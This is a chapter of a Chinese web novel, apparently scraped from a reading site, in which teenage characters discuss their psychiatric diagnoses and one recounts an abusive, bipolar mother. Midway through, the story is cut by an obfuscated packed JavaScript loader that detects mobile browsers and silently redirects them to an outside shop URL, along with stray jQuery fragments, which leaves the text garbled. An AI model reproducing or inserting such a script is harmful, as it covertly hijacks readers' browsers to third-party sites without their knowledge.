26. 明初一的童年

作品:《真千金她有病

    “土包子,你也有病例啦?我看看!”


    花恣曜一把将花瑶的病例抢过去。


    “什么叫做分离性身份识别障碍?”


    花恣曜看清楚了,但是看不懂。


    再看看他自己的焦虑症,花恣曜就不明白了,为什么自己的症状这么简单明了易懂。


    这让他要攻击花瑶都不知道要说些什么。


    然而将军花瑶没有要给花恣曜解释的准备。


    她脑子有点乱,不过脚步方向依旧朝着药房,准备去拿药。


    “土包子,我不告诉别人你有病,你也别告诉别人我有病。咱家就三个小孩,不能全有病呀。”


    “不然家里企业的股票要跌的,说不定还会影响外公外婆的林氏。”


    “土包子,我现在可是心平气和和你说话,你别一言不发。”


    花恣曜感觉自己又要控制不住自己了。


    花瑶不搭配他,他就很想原地转圈破坏点什么,再大叫几声。


    想到自己会像是野兽一样发狂,花恣曜就硬生生把所有的脾气给憋了回去。


    不知道自己有病的时候,这叫个性。


    知道自己有病了,言行举止都不对劲起来。


    “我吃药,你也吃药。”花瑶终于和花恣曜说了一句话。


    等离开医院的时候,来的四个人中,三个人手中都各提了一袋药物。


    宫盈盈双手空空,莫名觉得自己应该进去提一袋药。


    四人没有再回学校,而她们身后,跟着谢家人一起出来的宁司呈通过宫盈盈的背影认出了他们。


    花恣曜离开后,花瑶和宫盈盈才去看明初一的病例。


    同时,花瑶也把自己的病例给明初一。


    “双向情感障碍。”宫盈盈似乎在哪里听过这个症状。


    明初一主动将双向情感障碍会出现的症状告诉二人。


    “暴躁轻狂与抑郁会交替或混合出现,不过目前我状态比较稳定。”


    “医生推断,我大概率是遗传的症状。”


    实不相瞒,将军花瑶怎么都看不出来明初一有暴躁和抑郁的症状。


    暴躁难道不是都像花恣曜那样的吗?


    抑郁听说整个人精神会耷拉,可在明初一身上完全看不出来。


    “这是遗传的?”宫盈盈虽然不是第一次听说精神类疾病会遗传,但的确是头一次见。


    “你离开宫家太久了,可能没有听过我家的详细情况。”明初一对宫盈盈说。


    “反正也请假了不用回学校,你们要听吗?”


    将军花瑶和宫盈盈同时看向明初一。


    “可以听吗?”


    “要听。”


    仨人瞬间转移阵地,来到了一个公园里。


    “我是随妈妈姓的,我妈妈是随外婆姓的,我的外婆是宫盈盈的奶奶。”


    将军花瑶也没时间再想自己的病情了。


    她的脑海里风暴狂卷,正在算宫盈盈家里的姓氏关系。


    宫盈盈的爷爷姓宫,宫盈盈的爸爸也姓宫,宫盈盈顺接下来,姓氏不变。


    宫盈盈的奶奶姓明,明家也是大家族。宫盈盈的姑姑,也就是她奶奶的女儿,随她奶奶姓,归明姓。


    她姑姑的女儿——明初一,随妈妈姓,也随明姓。


    这么看的话,明家都是女孩子在继承家业呢。


    “我妈妈被奶奶送回明家,她是上一辈的继承者,我是这一辈。”


    “不过因为我爸爸的存在,妈妈的继承权被剥夺,直到我出生,她离婚,继承权才重新给到她,她交给了我。”


    花瑶:“这很好啊。”


    明大人就应该是一家之主,花瑶觉得没有问题。


    “我的妈妈有隐形的双向,她一开始并不知道。”


    “第一次出现心理问题,是在她离婚的那个月。”


    “我的爸爸是凤凰男,不需要修辞,他不仅爱钱他还好色。娶到我妈妈后原形毕露,包养小三。”


    “我妈妈很爱他,却在发现的那一刻果然离婚,不顾他苦苦哀求净身出户,并带走了还不到满月的我,”


    “我爸爸家里的人喊了半个村庄的人来海桐市闹,也动摇不了我妈妈的决心,反而让我妈妈更加讨厌他。”


    “我妈妈一直在反思,自己为什么会看上我爸爸。”


    “随着我长大,她将讨厌以及仇恨转移到了我的身上,对我动辄打骂。”


    “也是这个时候开始,她时而温柔时而暴躁,被我外婆带去看心理医生,才发现是双向。”


    “那会儿我还没周岁,外婆为了照顾妈妈也为了照顾我,将我带去国外。外婆也是随她妈妈姓,她爸爸是国外的贵族。”


    “后来妈妈养病,和我相隔一个庄园。没有看到我,她的病情慢慢好转,并且和外曾祖父那边的表亲在一起了。”


    明初一沉默了一下,“按照国内的说法,他们是表亲,但是没有血缘关系。国外倒是不怎么看中这些,他们举办了盛大的婚礼。”


    “我妈妈认为自己过了这道坎,找到了真爱,还重新拿回了继承权。”


    “他们在隔年有了一个小孩,我的妹妹。有了妹妹后,我更是远远见妈妈一面都不行。”


    “一直到我十五岁,妈妈终于想起了我的存在。”


    “她大概是想弥补我,只是方式不太对,控制欲太强,我开始暴躁,有时候也会一个人默默地哭。”


    “依旧是外婆发现了我的异常,送我去看医生,才发现我是遗传的双向。”


    “这次回国,一来是我打算避开我妈妈的控制,二来也是想好好养病。”


    宫盈盈一把抱住明初一。


    “表姐,我会对你好的。”


    看花瑶一个人孤零零的,宫盈盈把她也给拉了过来,“我会对你们两个好的。”


    将军花瑶:“......”


    明初一:“......”


    明初一:“表妹,就算是国外,我们这种有血缘关系的表姐表妹也不能领证的。”


    “更别说是三个人。”


    宫盈盈煽情的眼泪默默咽了回去,“表姐,我们还是未成年,思想要健康点。”


    “按照海桐市的法律法规,你再过几个月就可以结婚了,只要满十八周岁,不算是广义上的未成年。”


    宫盈盈躲到花瑶身上,“表姐,你是在和我求婚吗?”


    刚刚所积攒的悲伤气氛一扫而空,明初一不说话了。


    这两个朋友,或许是交对了的。


    第二天上学,花瑶和宫盈盈发现宁司呈不在。


    班级同学的八卦来源总是快速,早上第二节课结束,就确认了宁司呈出国的消息。


    晚上放学回家后,随之而来的是是谢宁两家离婚的事情。


    海桐市联姻离婚的很少,尤其是宁归泽和谢卿两个人已经是中年人了,财产分割都要走一个月的流程。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133878|195571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁夫人一走,宁家豪门位置肯定是要掉下来一点的。


    花弗轨把这件事说给林诜樱听,林诜樱倒是不在乎财产分割,她觉得宁夫人决定挺好的。


    “谢卿离婚是寻找自己的幸福,挺好的。”


    “肯定是因为宁归泽对她不好,不然她怎么会走。”


    “她已经很不容易了。”


    “瑶瑶,以后见到谢阿姨,要主动问好,可不能看宁伯母了。”


    花瑶点点头。


    没说话。


    她从昨天开始吃药,整个人都有点浑浑噩噩的。


    这种状态一直持续到晚上。


    躺在床上的那一刻,她的脑袋瓜就清醒了。


    这很奇怪。


    不过明天上完课,这学期就放假了。


    花瑶想了想,有两个月可以来调整状态,倒也还好。


    将军虽然学不明白,但是将军很尊重学习。


    吃了药,花瑶睡觉。


    第二天,老师不仅公布了成绩,还公布了夏令营事项。


    阳光中学很少有请假的同学,大部分人都参加了这次夏令营。


    花瑶的名额是林诜樱临时报上去的,她希望花瑶可以玩得开心,交到好朋友。


    比起成绩,同学们更关心今年夏令营去哪里。


    “去年咱们班去的南极,好玩是好玩,就是太冷了。”


    “听说今年我们和A班一起,地点选在国内。”


    “国内国外都玩腻了,希望有点新花样吧。”


    “小道消息,斐清樾、花恣曜、覃忱和我们一起去夏令营。”


    “你这也太小道了,他们三个人加上我们一共三个班了,怎么可能一个地方这么多人。”


    “况且一般信息来源广的,都会喊花少、斐少、覃少,怎么会是全名。”


    “是真的,他们三个人单独加进来的,理由是和咱们班级同学是亲属,可以相互照顾。”


    忽然之间,大家的目光整整齐齐看向花瑶。


    有人提问,“覃少也和花瑶是亲戚?”


    后面的女生举手,很乐意补充回答,“覃少以后进入花少的家门,不就和花瑶是亲戚了嘛。”


    “说不定覃少喜欢花瑶呢?”不知道是谁冒出这样一句话。


    在F班,读书大家不一样积极,八卦那是走在了前沿。


    “什么?!”立刻有人惊呼。


    “我支持他们三人加入我们班,太激动了,好想看。”


    “可是覃少又不当家,怎么会抢得过斐少呢?”


    众人又一次齐刷刷看过来,“花瑶,你怎么看?”


    花瑶脑袋更疼了。


    她是一个遵医嘱的好将军,不会随便质疑医生。


    但是她还是产生了对这些药物的怀疑。


    怎么吃完药后,一天症状比一天还要严重。


    她揉了揉鼻子,有点发蒙。


    感觉好像感冒了。


    这两天早上起来,她都会呆呆坐在床上,思考好一会儿才能反应过来自己是谁。


    是将军呀。


    等到上课,黑板上原本枯燥的试卷讲解她又一看就会。


    难不成......这个药可以治脑子?


    把她的智慧灵感打开了?


    同学们也不在乎花瑶有没有回答。


    继续自顾自讨论自己的话题。


    丝毫不在乎当事人在这里。